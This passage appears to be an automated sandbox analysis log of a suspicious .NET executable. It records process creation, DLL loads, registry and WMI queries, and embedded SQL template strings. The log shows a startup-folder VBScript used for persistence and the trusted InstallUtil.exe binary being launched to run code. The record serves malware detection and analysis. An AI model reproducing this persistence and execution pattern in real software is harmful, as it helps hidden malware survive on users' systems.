                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeMutant created: NULL
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeMutant created: \Sessions\1\BaseNamedObjects\Local\0b30f45d-3c54-4926-a32f-8a1dc077eb21
                  Source: unknownProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StackTrace.vbs"
                  Source: ________.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                  Source: ________.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                  Source: C:\Windows\System32\wscript.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                  Source: C:\Users\user\Desktop\________.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SELECT TOP 0 * FROM {0};
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SELECT @(Model.ZZZ_Index) AS ZZZ_Index, 'Deleted' AS "$action", @(Model.PreOutput) FROM @(Model.DestinationTableName) WHERE @(Model.PrimaryKeyStagingJoin);
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SELECT @(Model.ZZZ_Index) AS ZZZ_Index, 'Deleted' AS "$action", @(Model.PreOutput) FROM @(Model.DestinationTableName) WHERE @(Model.PrimaryKeyStagingJoin);UPDATE @(Model.DestinationTableName) SET @(Model.UpdateSetStagingNames) WHERE @(Model.PrimaryKeyStagingJoin);SELECT @(Model.ZZZ_Index) AS ZZZ_Index, 'Inserted' AS "$action", @(Model.PostOutput) FROM @(Model.DestinationTableName) WHERE @(Model.PrimaryKeyStagingJoin);
                  Source: ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SELECT @(Model.ZZZ_Index) AS ZZZ_Index, 'Inserted' AS "$action", @(Model.PostOutput) FROM @(Model.DestinationTableName) WHERE ROWID = last_insert_rowid();
                  Source: ________.exe, 00000000.00000002.1746076507.0000000008380000.00000004.00000020.00020000.00000000.sdmp, ________.exe, 00000000.00000000.1672928919.0000000000252000.00000002.00000001.01000000.00000003.sdmp, StackTrace.exe.0.drBinary or memory string: SELECT @countGroupBy AS [countGroupBy], @count AS [count]PDELETE FROM @(Model.TemporaryTableName);RDELETE FROM @@(Model.TemporaryTableName);
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1918626723.00000000034C1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SELECT @(Model.ZZZ_Index) AS ZZZ_Index, 'Deleted' AS "$action", @(Model.PreOutput) FROM @(Model.DestinationTableName) WHERE @(Model.PrimaryKeyStagingJoin);DELETE FROM @(Model.DestinationTableName) WHERE @(Model.PrimaryKeyStagingJoin);
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: CREATE TABLE @(Model.TemporaryTableName) ( @(Model.TemporaryTableColumnCreate) CONSTRAINT PK_@(Model.TemporaryTableNamePK) PRIMARY KEY CLUSTERED ( ZZZ_Index ASC) );
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: CREATE TABLE @(Model.TemporaryTableName) ( @(Model.TemporaryTableColumnCreate) CONSTRAINT [PK_@(Model.TemporaryTableNamePK)] PRIMARY KEY CLUSTERED ( ZZZ_Index ASC) );
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1746076507.0000000008380000.00000004.00000020.00020000.00000000.sdmp, ________.exe, 00000000.00000000.1672928919.0000000000252000.00000002.00000001.01000000.00000003.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe.0.drBinary or memory string: SELECT @(Model.ZZZ_Index) AS ZZZ_Index, 'Inserted' AS "$action", @(Model.PostOutput) FROM @(Model.DestinationTableName) WHERE (@(Model.PrimaryKeyStagingJoinMerge)) OR ROWID = last_insert_rowid();
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SELECT TOP 0 @(Model.TemporaryColumnNames) INTO @(Model.TemporaryTableName) FROM (SELECT 1 AS ZZZ_Index) AS A LEFT JOIN @(Model.DestinationTableName) AS B ON 1 = 2;
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: UPDATE @(Model.DestinationTableName) SET @(Model.UpdateSetStagingNames) WHERE @(Model.PrimaryKeyStagingJoin);SELECT @(Model.ZZZ_Index) AS ZZZ_Index, 'Inserted' AS "$action", @(Model.PostOutput) FROM @(Model.DestinationTableName) WHERE @(Model.PrimaryKeyStagingJoin);
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1746076507.0000000008380000.00000004.00000020.00020000.00000000.sdmp, ________.exe, 00000000.00000000.1672928919.0000000000252000.00000002.00000001.01000000.00000003.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe.0.drBinary or memory string: UPDATE @(Model.DestinationTableName) SET @(Model.UpdateSetStagingNames) WHERE @(Model.PrimaryKeyStagingJoin);
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SELECT @(Model.ZZZ_Index) AS ZZZ_Index, 'Inserted' AS "$action", @(Model.PostOutput) FROM @(Model.DestinationTableName) WHERE (@(Model.PrimaryKeyStagingJoin)) OR ROWID = last_insert_rowid();
                  Source: ________.exe, 00000000.00000002.1746076507.0000000008380000.00000004.00000020.00020000.00000000.sdmp, ________.exe, 00000000.00000000.1672928919.0000000000252000.00000002.00000001.01000000.00000003.sdmp, StackTrace.exe.0.drBinary or memory string: INSERT INTO @(Model.DestinationTableName) ( @(Model.InsertColumnNames) ) VALUES ( @(Model.InsertStagingNames) );
                  Source: ________.exe, 00000000.00000002.1746076507.0000000008380000.00000004.00000020.00020000.00000000.sdmp, ________.exe, 00000000.00000000.1672928919.0000000000252000.00000002.00000001.01000000.00000003.sdmp, StackTrace.exe.0.drBinary or memory string: CREATE TABLE @(Model.TemporaryTableName) ( @(Model.TemporaryTableColumnCreate) );
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002671000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000024B1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SELECT * FROM {0} LIMIT 0;
                  Source: ________.exe, 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SELECT @(Model.ZZZ_Index) AS ZZZ_Index, 'Inserted' AS "$action", @(Model.PostOutput) FROM @(Model.DestinationTableName) WHERE ROWID = last_insert_rowid();lSELECT @(Model.ZZZ_Index) AS ZZZ_Index, 'Inserted' AS "$action", last_insert_rowid() AS @(Model.PostOutput);
                  Source: ________.exeReversingLabs: Detection: 21%
                  Source: C:\Users\user\Desktop\________.exeFile read: C:\Users\user\Desktop\________.exeJump to behavior
                  Source: unknownProcess created: C:\Users\user\Desktop\________.exe "C:\Users\user\Desktop\________.exe"
                  Source: C:\Users\user\Desktop\________.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
                  Source: unknownProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StackTrace.vbs"
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Roaming\StackTrace.exe "C:\Users\user\AppData\Roaming\StackTrace.exe"
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
                  Source: C:\Users\user\Desktop\________.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"Jump to behavior
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Roaming\StackTrace.exe "C:\Users\user\AppData\Roaming\StackTrace.exe" Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: version.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: dnsapi.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: dhcpcsvc6.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: dhcpcsvc.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: winnsi.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: rasapi32.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: rasman.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: rtutils.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: mswsock.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: winhttp.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: rasadhlp.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: fwpuclnt.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: schannel.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: mskeyprotect.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: ntasn1.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: ncrypt.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: ncryptsslp.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeSection loaded: ntmarta.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: wtsapi32.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: winsta.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: mswsock.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: dnsapi.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: rasadhlp.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: fwpuclnt.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: schannel.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: mskeyprotect.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: ntasn1.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: ncrypt.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: ncryptsslp.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: cryptnet.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: winnsi.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: winhttp.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: dhcpcsvc6.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: dhcpcsvc.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: webio.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: cabinet.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: rasapi32.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: rasman.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: rtutils.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: wbemcomn.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: vbscript.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: edputil.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: urlmon.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: appresolver.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: bcp47langs.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: slc.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: sppc.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: version.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: dnsapi.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: dhcpcsvc6.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: dhcpcsvc.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: winnsi.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: rasapi32.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: rasman.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: rtutils.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: mswsock.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: winhttp.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: rasadhlp.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: fwpuclnt.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: schannel.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: mskeyprotect.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: ntasn1.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: ncrypt.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeSection loaded: ncryptsslp.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Users\user\Desktop\________.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
                  Source: ________.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
                  Source: ________.exeStatic PE information: Virtual size of .text is bigger than: 0x100000
                  Source: ________.exeStatic file information: File size 1485312 > 1048576
                  Source: ________.exeStatic PE information: Raw size of .text is bigger than: 0x100000 < 0x16a000
                  Source: ________.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
